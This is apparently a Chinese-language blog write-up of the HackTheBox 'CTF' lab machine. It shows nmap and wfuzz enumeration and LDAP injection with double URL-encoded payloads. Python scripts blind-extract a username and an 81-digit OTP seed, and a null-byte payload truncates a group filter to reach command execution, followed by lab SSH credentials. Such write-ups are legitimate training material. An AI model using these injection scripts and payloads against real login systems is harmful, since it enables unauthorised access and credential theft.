文章归档

置顶文章

Web安全

Web安全基础

PHP相关

Writeups

靶机系列

HackTheBox

VulnHub

代码审计

PHP代码审计

流量分析

机器学习

基础学习

Python

Python编程

Java

Java编程

算法

Leetcode

随笔

经验

技术

 2020-07-11   1.6k

HackTheBox::CTF Walkthrough

0x01 Info Card

Column Details
Name CTF
IP 10.10.10.122
Points 50
OS Linux
Difficulty Insane
Creator 0xEA31

0x02 Tools and Tips

  • Python Scripting
  • LDAP Injection
  • Wildcard and Symlink abuse

0x03 Initial Enumeration

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# Nmap 7.80 scan initiated Fri Jul 10 10:50:40 2020 as: nmap -sC -sV -oN ctf 10.10.10.122
Nmap scan report for ctf.htb (10.10.10.122)
Host is up (1.8s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 fd:ad:f7:cb:dc:42:1e:43:7d:b3:d5:8b:ce:63:b9:0e (RSA)
| 256 3d:ef:34:5c:e5:17:5e:06:d7:a4:c8:86:ca:e2:df:fb (ECDSA)
|_ 256 4c:46:e2:16:8a:14:f6:f0:aa:39:6c:97:46:db:b4:40 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16)
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jul 10 11:03:44 2020 -- 1 IP address (1 host up) scanned in 783.74 seconds

查看80端口

大概的意思就是让我们尝试去登录这个系统,但是不能用SQLmap或者Dirbuster去暴力猜解用户名和密码。

再去登录界面看一下:

提示我们是一个OTP,及One Time Password,一般而言是1分钟更新一次。

查看源码,发现有一个Hint

如果比较熟悉LDAP的话,这里的两个名词schema和attribute已经提示了是关于LDAP注入。

靶机作者用一个已知的属性去存储了81位的token string,Google搜一下token string (81 digits)

https://www.systutorials.com/docs/linux/man/1-stoken/

可以看到一个关键的地方,Pure numeric (81-digit) "ctf" (compressed token format) strings,和靶机的题目相契合,现在就有一点思路了,应该要去找到这个81位纯数字的token,然后用stoken工具去生成OTP。现在就主要是找到token,唯一可以利用的就是这个登录框了。

先随便用某个用户名和密码登录admin:1234

返回User admin not found,再用SQL注入的万能密码试一试

直接是没有任何显示,应该是对一些特殊字符有黑名单过滤。Fuzz一下过滤了一些什么字符

1
wfuzz -c --hw 233 -d 'inputUsername=FUZZ&inputOTP=1234' -w special-chars.txt 10.10.10.122/login.php

–hw 233 代表过滤掉形如User xxx not found的返回信息。

我们发现+&返回的是232 Words,但是在页面测试一下

发现返回的还是User + not found或者User & not found,这样的话应该是233 Words,而不是Wfuzz返回的232 Words。

我们尝试把这些特殊字符二次URL编码,看Web应用是否还能解析,用seclists中的doble_uri_hex.txt作为字典

1
wfuzz -c --hw 233 -d 'inputUsername=FUZZ&inputOTP=1234' -w doble-uri-hex.txt 10.10.10.122/login.php

最后Fuzz出来的被过滤的字符就是

1
2
3
4
5
%2500 ---> %00
%2528 ---> (
%2529 ---> )
%252a ---> *
%255c ---> \

这些被过滤的字符就是LDAP注入需要过滤的所有字符,再结合login.php页面源代码中的hint,可以确定是LDAP注入。

0x04 Getting User Access

先来看LDAP注入的最基本形式

1
2
3
4
(&
(password=1234)
(uid=ca01h%00)
)

具体到这个靶机的话,我们需要猜解括号的个数。运用类似盲注的思想,如果注入成功,那么就会返回User ca01h not found

假设只有一个括号:

假设有两个括号:

假设有三个括号:

image-20200710202913036

当尝试到三个括号用于闭合时,成功返回了User ca01h%29%29%29%00 not found,那么这个登录框的LDAP查询的基本形式就是

1
2
3
4
5
6
7
8
9
(&
(&
(password=1234)
(uid=ca01h)))%00
)
(&|
(other comparing)
)
)

接着,我们再回头去看一下Fuzz出来的被过滤的字符,其中%25%2a返回的消息长度为231 Words

发现回显的消息是Cannot login,说明可以用*通配符来盲注用户名,脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/usr/bin/env python3
### username_burp.py

import sys
import time
from string import ascii_lowercase
from urllib.parse import quote_plus

import requests

URL = 'http://10.10.10.122/login.php'

username, done = '', False
print()

while not done:
for c in ascii_lowercase:
payload = username + c + quote_plus('*')

data = {
'inputUsername': payload,
'inputOTP': '1234'
}

resp = requests.post(URL, data=data)

if 'Cannot login' in resp.text:
username += c
break

sys.stdout.write(f'\r{username}{c}')
time.sleep(0.2)
else:
done = True

print(f'[+] Username: {username} \n')

用户名为ldapuser

知道了用户名之后,我们就要去获取生成OTP的81位token,通过页面源代码的提示,这个token存储在某一个LDAP默认已经存在的属性当中。而默认的属性可以在PayloadsAllTheThings中找到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
c
cn
co
commonName
dc
facsimileTelephoneNumber
givenName
gn
homePhone
id
jpegPhoto
l
mail
mobile
name
o
objectClass
ou
owner
pager
password
sn
st
surname
uid
username
userPassword

如果不想写脚本的话用wfuzz来Fuzz靶机的LDAP中存在的属性可能会更快一些,但还是要先找到注入的形式:

1
2
3
4
5
6
7
8
9
10
(&
(&
(password=1234)
(uid=ldapuser)
(FUZZ=*)
)
(&|
(other comparing)
)
)

此外还要把注入的字符ldapuser)(FUZZ=*进行二次URL编码,编码之后的结果ldapuser%2529%2528FUZZ%253d%252a

1
wfuzz -c --hw 233 -d 'inputUsername=ldapuser%2529%2528FUZZ%253d%252a&inputOTP=1234' -w LDAP_attributes.txt http://10.10.10.122/login.php

我们Fuzz出来了这么些属性是存在于靶机的LDAP服务中的,现在的工作就是一个一个的属性来猜解,属于一些重复性的工作,就不在这里过多赘述了,最后可以找到token是存储于pager属性中。接着写脚本burp81位token

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/python3
# pager_burp.py

import requests
import sys
from time import sleep
from string import digits

token = ""
URL = "http://10.10.10.122/login.php"
attribute = "pager"
loop = 1

while loop > 0:
for digit in digits:
token = token
# ldapuser)(pager=<token>)*
payload = f"ldapuser%29%28{attribute}%3d{token}{digit}%2a"
data = {"inputUsername": payload, "inputOTP": "1234"}
r = requests.post(URL, data=data)
sys.stdout.write(f"\rToken: {token}{digit}")
sleep(0.5)
if b"Cannot login" in r.content:
token += digit
break
elif digit == "9":
loop = 0
break
print(f'[+] Token: {token} \n')

这里值得注意的是需要删掉最后的一个9,所以最后的token就是:

1
285449490011357156531651545652335570713167411445727140604172141456711102716717000

接着用stoken工具导入token

生成OTP

成功登录后,跳转到page.php页面,可以执行命令

但是提示我们ldapuser权限不够不能执行命令,这里有两种办法:

  • group属性进行注入,即把后面group属性的filter截断

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    (&
    (&
    (pager=<token>)
    (uid=ldapuser)))%00
    )
    (|
    (group=root)
    (group=adm)
    )
    )
  • 使用*通配符作为用户名登录

这里演示一下第一种方案,payload直接放到burp中

1
ldapuser%2529%2529%2529%2500

再去执行ls命令

读取page.php文件:

SSH登录:fdapuser:e398e27d5c4ad45086fe431120932a01

Copyright © ca01h 2019-2020 | 本站总访问量